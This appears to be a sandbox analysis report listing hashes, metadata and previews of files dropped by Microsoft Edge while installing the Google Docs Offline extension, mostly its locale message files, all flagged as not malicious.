Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\f6db3583-3742-4c0f-bbc3-c201824b86e9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\1d4198d2-018f-4c15-95b6-ad1043f29803.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
